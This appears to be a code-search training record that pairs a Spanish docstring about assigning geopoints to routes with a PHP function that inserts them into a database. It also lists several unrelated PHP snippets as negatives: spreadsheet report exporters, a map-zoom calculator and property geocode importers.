"0.5343039", "0.5341971", "0.53400457", "0.5330212", "0.53208005", "0.53147", "0.5314271", "0.5311844", "0.53115124", "0.5311036", "0.53083247", "0.5305492", "0.5300632", "0.5300174", "0.5296236", "0.52928513", "0.5292393", "0.52851367", "0.5284958", "0.5283083" ]
0.7156163
0
funcion que asigna un geopunto a la ruta creada con info contenida en excel.
function crea_ruta_punto($itm,$r){ global $db,$dbf,$fecha_con_formato,$cp,$cpno, $existe_punto_detalle; $cuenta_puntos=0; $cuenta_puntos_no = 0; $otra_ban = 0; $bandera =0; $usuario = "SELECT COD_OBJECT_MAP FROM SAVL_G_PRIN WHERE ITEM_NUMBER = '".$itm."'"; $query_user = $db->sqlQuery($usuario); $row_user = $db->sqlFetchArray($query_user); $count_user = $db->sqlEnumRows($query_user); if($count_user > 0) { $punto = "SELECT COD_OBJECT_MAP FROM SAVL_ROUTES_DETAIL WHERE COD_OBJECT_MAP =".$row_user['COD_OBJECT_MAP']; $query_punto = $db->sqlQuery($punto); $count_punto = $db->sqlEnumRows($query_punto); if($count_punto>0){ // $existe_punto = $existe_punto +1; echo "ya existe el geopunto en routes_detail, se guardara este mismo geopunto con otra ruta..."; $otra_ban = 1; } //if($count_punto==0){ $data_2 = Array( 'ID_ROUTE' => $r, 'COD_OBJECT_MAP' => $row_user['COD_OBJECT_MAP'], 'CREATE_DATE' => $fecha_con_formato ); if($dbf-> insertDB($data_2,'SAVL_ROUTES_DETAIL',false) == true){ $bandera = 1; echo 1; } else{ echo 0; } // }else{ // $bandera = 0; //} } if($bandera ==1){ $cp = $cp +1; }else{ $cpno = $cpno +1; } if($otra_ban ==1){ $existe_punto_detalle = $existe_punto_detalle +1; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function geraPauta()\n {\n $turmaId = $this->args[0];\n $pautaXls = $this->Turma->geraPautaExcel($turmaId);\n\n $objWriter = PHPExcel_IOFactory::createWriter($pautaXls, 'Excel2007');\n $objWriter->save(Configure::read('OpenSGA.save_path') . DS . $turmaId . '.xlsx');\n $this->Turma->id = $turmaId;\n $this->Turma->set('pauta_path', Configure::read('OpenSGA.save_path') . DS . $turmaId . '.xlsx');\n $this->Turma->save();\n\n }", "function guifi_get_map_info($node) {\n $map_info = array();\n \n // Obtenim les variables de retall del mapa. \n // - (X,Y) ó (UTMx, UTMy) ó (Lon,Lat)\n $map_info['datum'] = 5;\n $map_info['zone'] = 31;\n $map_info['nord'] = 1;\n $map_info['xPixel'] = isset($_GET[\"xPixel\"]) ? $_GET[\"xPixel\"] : $_POST[\"xPixel\"];\n $map_info['yPixel'] = isset($_GET[\"yPixel\"]) ? $_GET[\"yPixel\"] : $_POST[\"yPixel\"];\n $map_info['xUTM'] = isset($_GET[\"xUTM\"]) ? $_GET[\"xUTM\"] : $_POST[\"xUTM\"];\n $map_info['yUTM'] = isset($_GET[\"yUTM\"]) ? $_GET[\"yUTM\"] : $_POST[\"yUTM\"];\n $map_info['londec'] = isset($_GET[\"londec\"]) ? $_GET[\"londec\"] : $_POST[\"londec\"];\n $map_info['latdec'] = isset($_GET[\"latdec\"]) ? $_GET[\"latdec\"] : $_POST[\"latdec\"];\n $map_info['lon'] = isset($_GET[\"lon\"]) ? $_GET[\"lon\"] : $_POST[\"lon\"];\n $map_info['lat'] = isset($_GET[\"lat\"]) ? $_GET[\"lat\"] : $_POST[\"lat\"];\n // - Zoom ó Dist\n $map_info['zoom'] = isset($_GET[\"zoom\"]) ? $_GET[\"zoom\"] : $_POST[\"zoom\"];\n $map_info['dist'] = isset($_GET[\"dist\"]) ? $_GET[\"dist\"] : $_POST[\"dist\"];\n if ( !isset($map_info['xPixel']) || !isset($map_info['yPixel'])) {\n $map_info['xPixel'] = 0;\n $map_info['yPixel'] = 0;\n }\n if ( !isset($map_info['zoom']) )\n $map_info['zoom'] = 0;\n\n \n // Comprovem les dades i les transformem en X, Y, S\n $map_info['width'] = $map_info['height'] = 500; // This variables will are in drupal\n $map_info['quadrants'] = 3; // This variables will are in drupal\n $image_info = guifi_get_image_info ( guifi_get_file_map_zone($node) );\n \n // Find max scale of de map to draw from zoom of this view\n $map_info['maxRel'] = $image_info['width'] / $map_info['width'];\n if ( $map_info['maxRel'] < $image_info['height'] / $map_info['height'] )\n $map_info['maxRel'] = $image_info['height'] / $map_info['height'];\n $map_info['maxScale'] = guifi_get_scale_relation ( $map_info['maxRel'] );\n if ( $node->valid ) {\n // Calcule dist of original map and his relation\n $point_zero = guifi_pixel2UTM ($node->coord, 0, 0);\n $point_right = guifi_pixel2UTM ($node->coord, $image_info['width']-1, 0);\n $point_bottom = guifi_pixel2UTM ($node->coord, 0, $image_info['height']-1);\n \n $map_info['distX'] = guifi_get_dist_UTM($point_zero[0], $point_zero[1], $point_right[0], $point_right[1]);\n $map_info['distY'] = guifi_get_dist_UTM($point_zero[0], $point_zero[1], $point_bottom[0], $point_bottom[1]);\n }\n\n // Find de scale to draw the map\n if ( $node->valid && isset($map_info['dist']) && is_numeric($map_info['dist']) ) {\n // Find scale of de map to draw from dist of this view\n $map_info['maxRel'] = ( $image_info['width'] * $map_info['dist'] ) / ( $map_info['distX'] * $map_info['width'] );\n if ( $map_info['maxRel'] < ( $image_info['height'] * $map_info['dist'] ) / ( $map_info['distY'] * $map_info['height'] ) )\n $map_info['maxRel'] = ( $image_info['height'] * $map_info['dist'] ) / ( $map_info['distY'] * $map_info['height'] );\n \n $map_info['scale'] = guifi_get_scale_relation ( $map_info['maxRel'] );\n if ( $map_info['scale'] > $map_info['maxScale'] ) \n $map_info['scale'] = $map_info['maxScale'];\n $map_info['zoom'] = $map_info['maxScale'] - $map_info['scale'];\n }\n if ( isset($map_info['zoom']) ) {\n // Recalcule de zoom to a correct zoom\n if ( $map_info['zoom'] > $map_info['maxScale'] )\n $map_info['zoom'] = $map_info['maxScale'];\n $map_info['scale'] = $map_info['maxScale'] - $map_info['zoom'];\n }\n \n if ( $node->valid ) {\n if ( isset($map_info['lon']) && isset($map_info['lat']) ) {\n // Transform Geo's corrdinates to UTM Coordinates\n $map_info['londec'] = text2Coord($map_info['lon']);\n $map_info['latdec'] = text2Coord($map_info['lat']);\n }\n if ( isset($map_info['londec']) && isset($map_info['latdec']) ) {\n // Transform Geo's corrdinates to UTM Coordinates\n $point = guifi_WG842UTM ($map_info['londec'], $map_info['latdec'], $map_info['datum'], $map_info['zone'], $map_info['nord']);\n $map_info['xUTM'] = $point[0];\n $map_info['yUTM'] = $point[1];\n }\n if ( isset($map_info['xUTM']) && isset($map_info['yUTM']) ) {\n // Transform UTM's corrdinates to Pixel Coordinates\n $point = guifi_UTM2pixel ($node->coord, $map_info['xUTM'], $map_info['yUTM']);\n $map_info['xPixel'] = $point[0];\n $map_info['yPixel'] = $point[1];\n }\n }\n\n // Find quadrants of de map scaled.\n $map_info['width_quadrant'] = $map_info['width'] / $map_info['quadrants'] ;\n $map_info['height_quadrant'] = $map_info['height'] / $map_info['quadrants'] ;\n $quadrantsX = ceil (( $image_info['width'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['width_quadrant'] );\n $quadrantsY = ceil (( $image_info['height'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['height_quadrant'] );\n\n // Find de quadrant center of de map scaled from pixel x,y in center.\n $quadCentX = floor (( $map_info['xPixel'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['width_quadrant'] );\n $quadCentY = floor (( $map_info['yPixel'] / guifi_get_rel_scale( $map_info['scale'] ) ) / $map_info['height_quadrant'] );\n \n // Find de quadrant top-left of de map scaled from pixel x,y in center.\n $map_info['quadX'] = $quadCentX - floor( $map_info['quadrants'] / 2 );\n $map_info['quadY'] = $quadCentY - floor( $map_info['quadrants'] / 2 );\n if ( $map_info['quadX'] > $quadrantsX - $map_info['quadrants'] )\n $map_info['quadX'] = $quadrantsX - $map_info['quadrants'];\n if ( $map_info['quadY'] > $quadrantsY - $map_info['quadrants'] )\n $map_info['quadY'] = $quadrantsY - $map_info['quadrants'];\n if ( $map_info['quadX'] < 0 ) $map_info['quadX'] = 0;\n if ( $map_info['quadY'] < 0 ) $map_info['quadY'] = 0;\n\n // Recalcule the width and heigth of scaled image\n if ( $map_info['quadX'] >= $quadrantsX - $map_info['quadrants'] ) \n $map_info['width'] = floor( ($image_info['width'] / guifi_get_rel_scale( $map_info['scale'] )) - ( $map_info['quadX'] * $map_info['width_quadrant'] ));\n if ( $map_info['quadY'] >= $quadrantsY - $map_info['quadrants'] ) \n $map_info['height'] = floor( ($image_info['height'] / guifi_get_rel_scale( $map_info['scale'] )) - ( $map_info['quadY'] * $map_info['height_quadrant'] ));\n\n // Calculem la distància de la màxima de la imatge\n if ( $node->valid ) {\n if ( $map_info['width'] < $map_info['height'] )\n $map_info['dist'] = floor($map_info['distX'] * ( $map_info['width'] * guifi_get_rel_scale( $map_info['scale'] ) ) / $image_info['width']);\n else\n $map_info['dist'] = floor($map_info['distY'] * ( $map_info['height'] * guifi_get_rel_scale( $map_info['scale'] ) ) / $image_info['height']);\n }\n \n/*\n echo \"<br />quadrantsX: \".$quadrantsX;\n echo \"<br />quadrantsY: \".$quadrantsY;\n echo \"<br />map_width: \".$image_info['width'];\n echo \"<br />map_height: \".$image_info['height'];\n*/ \n/*\n echo \"<br />datum: \".$map_info['datum'];\n echo \"<br />zone: \".$map_info['zone'];\n echo \"<br />nord: \".$map_info['nord'];\n echo \"<br />zoom: \".$map_info['zoom'];\n echo \"<br />dist: \".$map_info['dist'];\n echo \"<br />scale: \".$map_info['scale'];\n echo \"<br />xPixel: \".$map_info['xPixel'];\n echo \"<br />yPixel: \".$map_info['yPixel'];\n echo \"<br />xUTM: \".$map_info['xUTM'];\n echo \"<br />yUTM: \".$map_info['yUTM'];\n echo \"<br />lon: \".$map_info['londec'];\n echo \"<br />lan: \".$map_info['latdec'];\n\n echo \"<br />quadX: \".$map_info['quadX'];\n echo \"<br />quadY: \".$map_info['quadY'];\n echo \"<br />width: \".$map_info['width'];\n echo \"<br />height: \".$map_info['height'];\n*/ \n\n return $map_info;\n}", "public function generatodo(){\n $solicitude = $this->Solicitudes->newEntity();\n if ($this->request->is('post')) {\n $solicitude = $this->Solicitudes->patchEntity($solicitude, $this->request->getData());\n $info = $this->Solicitudes->getHistorialExcelEstudianteTodo(); //Se trae la informacion que se agrega al excel com todas las asistencias de la historia\n $spreadsheet = new Spreadsheet(); //para usar excel\n\n //acceder al objeto hoja\n $sheet = $spreadsheet->getActiveSheet(); \n\n /*Encabezados de las columnas*/\n $sheet->setCellValue('A1', 'Curso');\n $sheet->setCellValue('B1', 'Sigla');\n $sheet->setCellValue('C1', 'Grupo');\n $sheet->setCellValue('D1', 'Profesor');\n $sheet->setCellValue('E1', 'Carné');\n $sheet->setCellValue('F1', 'Nombre');\n $sheet->setCellValue('G1', 'Tipo Horas');\n $sheet->setCellValue('H1', 'Cantidad');\n\n /*Se agrega la informacion a las filas y columnas del excel*/\n $i = 0; //indice en el vector de la asistencia que se esta llenando\n $fila = 2; //indice de la fila en el excel\n foreach ($info as $data) {\n $sheet->setCellValueByColumnAndRow(1, $fila, $info[$i]['nombre']);\n $sheet->setCellValueByColumnAndRow(2, $fila, $info[$i]['sigla']);\n $sheet->setCellValueByColumnAndRow(3, $fila, $info[$i]['numero']);\n $sheet->setCellValueByColumnAndRow(4, $fila, $info[$i]['profesor']);\n $sheet->setCellValueByColumnAndRow(5, $fila, $info[$i]['nombre_usuario']);\n $sheet->setCellValueByColumnAndRow(6, $fila, $info[$i]['estudiante']);\n $sheet->setCellValueByColumnAndRow(7, $fila, $info[$i]['tipo_horas']);\n $sheet->setCellValueByColumnAndRow(8, $fila, $info[$i]['cantidad_horas']);\n\n $i = $i + 1;\n $fila = $fila + 1;\n } \n\n $writer = new Xls($spreadsheet);\n\n /*Descarga el archivo en la carpeta descargas independientemente de la computadora o usuario*/\n try{\n $sheet->getDefaultColumnDimension()->setWidth(20);\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"'. \"Reporte Historico\" .'.xls\"');\n header('Cache-Control: max-age=0');\n \n $writer->save('php://output');\n }\n catch(Exception $e){\n echo $e->getMessage();\n }\n \n }\n \n /*Se envia la indormacion a generatodo para crear la vista previa de la tabla*/\n $todo = $this->Solicitudes->getHistorialExcelEstudianteTodo();\n $this->set(compact('todo', 'solicitude'));\n }", "function mapSectionLocation(){\n\t\t\t\t\t\tinclude(\"connect.php\");\n\t\t\t\t\t\t\t$section_id = 'ggg123';\n\t\t\t\t\t\t\t$query = \"select cell_no from section_location where section_id = '$section_id'\";\n\t\t\t\t\t\t\t$result = mysqli_query($db, $query);\n\t\t\t\t\t\t\t$arr = array();\n\t\t\t\t\t\t\t$i = 0;\n\t\t\t\t\t\t\twhile($data = mysqli_fetch_array($result)){\n\t\t\t\t\t\t\t$arr[$i] = $data[0];\n\t\t\t\t\t\t\t$i = $i + 1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//get margins for all the cells.\n\t\t\t\t\t\t\t$stamp1 = imagecreatefromjpeg(\"testlocateuser/marker.jpg\");\n\t\t\t\t\t\t\t\t$sx = imagesx($stamp1);\n\t\t\t\t\t\t\t\t$sy = imagesy($stamp1);\n\t\t\t\t\t\t\t\t$counter = 0;\n\t\t\t\t\t\t\tforeach($arr as $item){\n\t\t\t\t\t\t\t\t$query_margins = \"select * from cell_margins where cell_no = $item\";\n\t\t\t\t\t\t\t\t$result1 = mysqli_query($db,$query_margins);\n\n\t\t\t\t\t\t\t\twhile($data = mysqli_fetch_array($result1)){\n\t\t\t\t\t\t\t\t$my_cell_margins[] = array(\"marge_right\"=>$data[1],\"marge_bottom\"=>$data[2]);\n\t\t\t\t\t\t\t\tif($counter == 0){\n\t\t\t\t\t\t\t\t\t$im = imagecreatefromjpeg('testlocateuser/nu_loc.jpeg');\t\n\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t$im = imagecreatefromjpeg('testlocateuser/nu_loc.jpeg');\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\timagecopymerge($im, $stamp1, imagesx($im) - $sx - $data[1], \n\t\t\t\t\t\t\t\t\t\t\t\timagesy($im) - $sy - $data[2], 0, 0, imagesx($stamp1), imagesy($stamp1),50);\n\n\t\t\t\t\t\t\t\t\t\t\t\t// Save the image to file and free memory\n\t\t\t\t\t\t\t\t\t\t\t\timagejpeg($im, 'testlocateuser/nu_loc.jpeg');\n\t\t\t\t\t\t\t\t\t\t\t\timagedestroy($im);\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$counter = $counter+1;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}", "function generarReporteExcelCalificacionvspremarcado($arregloCompleto)\r\n{\r\n $libro = new PhpOffice\\PhpSpreadsheet\\Spreadsheet();\r\n //Reporte de indicadores I1\r\n $libro->getActiveSheet()->mergeCells('A1:H1');\r\n $libro->getActiveSheet()->getStyle('A1:H2')->getFont()->setBold(true);\r\n $hoja = $libro->getActiveSheet();\r\n $libro->getSheet(0)->getColumnDimension('A')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('B')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('C')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('D')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('E')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('G')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('H')->setAutoSize(true);\r\n\r\n\r\n $hoja->setTitle('I1');\r\n $libro->getActiveSheet()->getStyle('A1:H2')->getFill()\r\n ->setFillType(\\PhpOffice\\PhpSpreadsheet\\Style\\Fill::FILL_SOLID)\r\n ->getStartColor()->setARGB('0070C0');\r\n $libro->getSheet(0)->getStyle('A1:H2')\r\n ->getFont()->getColor()->setARGB(\\PhpOffice\\PhpSpreadsheet\\Style\\Color::COLOR_WHITE);\r\n $hoja->setCellValue('A1', 'Calificacion vs premarcado');\r\n $hoja->setCellValue('A2', 'Dane');\r\n $hoja->setCellValue('B2', 'Colegio');\r\n $hoja->setCellValue('C2', 'Producto');\r\n $hoja->setCellValue('D2', 'Premarcado');\r\n $hoja->setCellValue('E2', 'Calificado');\r\n $hoja->setCellValue('F2', 'Distribuidor');\r\n $hoja->setCellValue('G2', 'Ciudad');\r\n $hoja->setCellValue('H2', 'Fecha de creacion');\r\n $iterador = 3;\r\n\r\n for ($i = 0; $i < count($arregloCompleto); $i++) {\r\n $hoja->setCellValue('A' . $iterador, $arregloCompleto[$i]['dane']);\r\n $hoja->setCellValue('B' . $iterador, $arregloCompleto[$i]['colegio']);\r\n for ($n = 0; $n < count($arregloCompleto[$i]['cantidad']); $n++) {\r\n $hoja->setCellValue('A' . $iterador, $arregloCompleto[$i]['dane']);\r\n $hoja->setCellValue('B' . $iterador, $arregloCompleto[$i]['colegio']);\r\n $hoja->setCellValue('C' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['producto']);\r\n $hoja->setCellValue('D' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['premarcado']);\r\n $hoja->setCellValue('E' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['calificado']);\r\n $hoja->setCellValue('F' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['distribuidor']);\r\n $hoja->setCellValue('G' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['ciudad']);\r\n $hoja->setCellValue('H' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['fechaCreacion']);\r\n $iterador++;\r\n }\r\n\r\n\r\n }\r\n $styleArray = [\r\n 'borders' => [\r\n 'allBorders' => [\r\n 'borderStyle' => \\PhpOffice\\PhpSpreadsheet\\Style\\Border::BORDER_THIN,\r\n 'color' => ['arg' => '000'],\r\n ],\r\n\r\n ],\r\n 'alignment' => [\r\n 'horizontal' => \\PhpOffice\\PhpSpreadsheet\\Style\\Alignment::HORIZONTAL_CENTER,\r\n ],\r\n ];\r\n\r\n $libro->getSheet(0)->getStyle('A1:H' . $iterador)->applyFromArray($styleArray);\r\n\r\n $excel = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx($libro);\r\n\r\n $excel->save('./App/public/excel/calificacionvspremarcado.xlsx');\r\n\r\n return '/excel/calificacionvspremarcado.xlsx';\r\n}", "function getInfoFromGPSCoord($long,$lat)\n{\n\t$L93_10km=10000;\n\n\tlist($longL93,$latL93)=convertWGS84ToLambert93($lat,$long);\n\n\techo \"Execution de la 1e requete...\\n\";\n\t//recuperer resultat requete SQL\n\t$rpg=$GLOBALS['external_data']['urlRPG2017']['tablename'];\n\t$cultures=$GLOBALS['CSVtables'];\n\t$sql= \"SELECT DISTINCT code_cultu, label, label_groupe\n\t\t\tFROM $rpg\n\t\t\tINNER JOIN $cultures ON rpg2017.code_cultu=cultures.code\n\t\t\tWHERE ST_DISTANCE(ST_GeomFromText('POINT($longL93 $latL93)',2154),SHAPE)<=$L93_10km\n\t\t\tORDER BY ST_DISTANCE(ST_GeomFromText('POINT($longL93 $latL93)',2154),SHAPE) ASC\";\n\techo $sql . \"\\n\";\n\t$parcels = array();\n\tif($query=$GLOBALS['db']->query($sql))\n\t{\n\t\twhile($row=$query->fetch_assoc())\n\t\t\t$parcels[$row['code_cultu']]=$row;\n\t}\n\n\t$info['parcels']=$parcels;\n\n\techo \"Execution de la 2e requete...\\n\";\n\t//Pour que le resultat sur le terminal soit plus lisible, demandez plutot stu.soil\n\t$stu=$GLOBALS['external_data']['urlSTU']['tablename'];\n\t$stuorg=$GLOBALS['external_data']['urlSTUORG']['tablename'];\n\t$soilsTable=$GLOBALS['external_data']['urlSoilsShpFile']['tablename'];\n\t$sql=\"SELECT stu.soil, stu.stu, soil.smu, stuorg.pcarea,soil_description.soil \n\t\t\tFROM $stu\n\t\t\tINNER JOIN $stuorg ON stu.stu = stuorg.stu\n\t\t\tINNER JOIN $soilsTable ON soil.smu = stuorg.smu \n\t\t\tINNER JOIN soil_description on soil_description.soil85=stu.soil\n\t\t\tWHERE ST_DISTANCE(ST_GeomFromText('POINT($longL93 $latL93)',2154),SHAPE)<=$L93_10km\";\n\t\t\t// OR soil_description.soil90=stu.soil90\n\techo $sql . \"\\n\";\n\t$soils=array();\n\tif($query=$GLOBALS['db']->query($sql))\n\t{\n\t\twhile($row=$query->fetch_assoc())\n\t\t\t$soils[$row['soil']]=$row;\n\t}\n\n\t$info['soils']=$soils;\n\n\techo \"Resultat...\\n\";\n\tvar_dump($info);\n\n\treturn $info;\n}", "function getUpdatePoi(){\n\t\t$data = array(\n\t\t\t\t'lng' \t\t=> $this->input->post('lng'),\n\t\t\t\t'lat' \t\t=> $this->input->post('lat'),\n\t\t\t\t'nombre_poi'=> $this->input->post('nombre_poi'),\n\t\t\t\t'txt_rep'\t=> $this->input->post('txt_rep'),\n\t\t\t\t'direccion'\t=> $this->input->post('direccion'),\n\t\t\t\t'id_usuario'=> $this->input->post('id_usuario'),\n\n\t\t\t\t//'id_categoria'=> $this->input->post('id_categoria')\n\t\t\t);\n\t\t$this->pois_model->updatePoi($this->uri->segment(4), $data);\n\t\t$this->index();\n\t}", "function cc_update_geocodes(){\n\t\n\t$path = ABSPATH . \"import/\";\n\t$file = FILE_XML_IMMOBILI; // nome del file\n\t$cometa = cc_get_unique_post_meta_values(\"_id_cometa\");\n\n\t$xml = @simplexml_load_file($path.$file);\t\n\n\tif($xml){\t\t\n\t\t\n\t\t$offerte = $xml->Offerte;\n\n\t\tif($offerte){\n\t\t\t\n\t\t\tforeach($offerte as $offerta){\n\t\t\t\t\n\t\t\t\t$idunique = (int) $offerta->Idimmobile; // campo univoco Cometa\n\t\t\t\t$post_id = array_search($idunique, $cometa);\n\t\t\t\t\n\t\t\t\tif(empty($post_id)) continue;\n\t\t\t\t\n\t\t\t\t$latitudine = (string) $offerta->Latitudine;\n\t\t\t\t$longitudine = (string) $offerta->Longitudine;\n\n\t\t\t\tif(!empty($latitudine)) $latitudine = str_replace(\",\", \".\", $latitudine);;\n\t\t\t\tif(!empty($longitudine)) $longitudine = str_replace(\",\", \".\", $longitudine);;\n\n\t\t\t\tif(!empty($latitudine) and !empty($longitudine)){\n\t\t\t\t\t$map_coords = $latitudine .\", \". $longitudine;\t\t\n\t\t\t\t}else{\n\t\t\t\t\t$map_coords = \"\";\n\t\t\t\t}\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($map_coords)){\n\t\t\t\t\t\n\t\t\t\t\tupdate_post_meta( $post_id, \"fave_property_location\", $map_coords );\n\t\t\t\t\tupdate_post_meta( $post_id, \"houzez_geolocation_lat\", $latitudine );\n\t\t\t\t\tupdate_post_meta( $post_id, \"houzez_geolocation_lon\", $longitudine );\n\t\t\t\t\t\n\t\t\t\t\t$results[] = $post_id.\" => \".$idunique.\" - geocodes \".$map_coords;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$dbg = var_export($results, true);\n\t\n\t\t\tcc_import_immobili_error_log($dbg);\n\n\t\t\t\n\t\t}else{\n\t\t\tcc_import_immobili_error_log(\"no offerte!\");\n\t\t}\n\t\t\n\t}else{\n\t\tcc_import_immobili_error_log(\"no xml!\");\n\t}\n\t\n}", "function salva()\n\t{\n\t\trestauraConObj($this->mapa,$this->postgis_mapa);\n\t\t$this->mapa->save($this->arquivo);\n\t}", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "function cc_update_map_address(){\n\t\n\t$path = ABSPATH . \"import/\";\n\t$file = FILE_XML_IMMOBILI; // nome del file\n\t$cometa = cc_get_unique_post_meta_values(\"_id_cometa\");\n\n\t$xml = @simplexml_load_file($path.$file);\t\n\n\tif($xml){\t\t\n\t\t\n\t\t$offerte = $xml->Offerte;\n\n\t\tif($offerte){\n\t\t\t\n\t\t\tforeach($offerte as $offerta){\n\t\t\t\t\n\t\t\t\t$idunique = (int) $offerta->Idimmobile; // campo univoco Cometa\n\t\t\t\t$post_id = array_search($idunique, $cometa);\n\t\t\t\t\n\t\t\t\tif(empty($post_id)) continue;\n\t\t\t\t\n\t\t\t\t$map_address = \"\";\n\n\t\t\t\t//$indirizzo = solo indirizzo (via e civico), map_adress = indirizzo completo con cap località e provincia per mappa\n\t\t\t\tif(!empty($offerta->Indirizzo)){\n\t\t\t\t\t$map_address .= (string) $offerta->Indirizzo;\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(!empty($offerta->NrCivico)){\n\t\t\t\t\t$map_address .= (string) \" \".$offerta->NrCivico;\t\t\t\t\t\n\t\t\t\t}\n\n\t\t\t\t// compilo map_address con cap, località e provincia solo se l'indirizzo (via + civico) è compilato\n\t\t\t\t// se non lo è vuol dire che non deve essere resa noto l'indirizzo esatto dell'immobile\n\t\t\t\tif(!empty($offerta->Comune) and !empty($map_address)){\n\n\t\t\t\t\t$comune = (string) $offerta->Comune;\n\t\t\t\t\t$comune = trim($comune);\n\t\t\t\t\t$map_address .= \", \";\n\n\t\t\t\t\t$cp = cc_get_cap_prov($comune);\n\t\t\t\t\tif(!empty($cp)) $map_address .= $cp['cap'].\" \"; \t\t\n\n\t\t\t\t\t$map_address .= $comune;\n\t\t\t\t\tif(!empty($cp)) $map_address .= \" (\".$cp['prov'].\")\"; \n\n\t\t\t\t}\n\n\t\t\t\t$map_address = trim($map_address);\n\t\t\t\tif($map_address[0] == ',') $map_address = substr($map_address, 2);\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tupdate_post_meta( $post_id, \"fave_property_map_address\", $map_address );\n\n\t\t\t\t$results[] = $post_id.\" => \".$idunique.\" - map_address: \".$map_address;\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$dbg = var_export($results, true);\n\t\n\t\t\tcc_import_immobili_error_log($dbg);\n\n\t\t\t\n\t\t}else{\n\t\t\tcc_import_immobili_error_log(\"no offerte!\");\n\t\t}\n\t\t\n\t}else{\n\t\tcc_import_immobili_error_log(\"no xml!\");\n\t}\n\t\n\t\n}", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 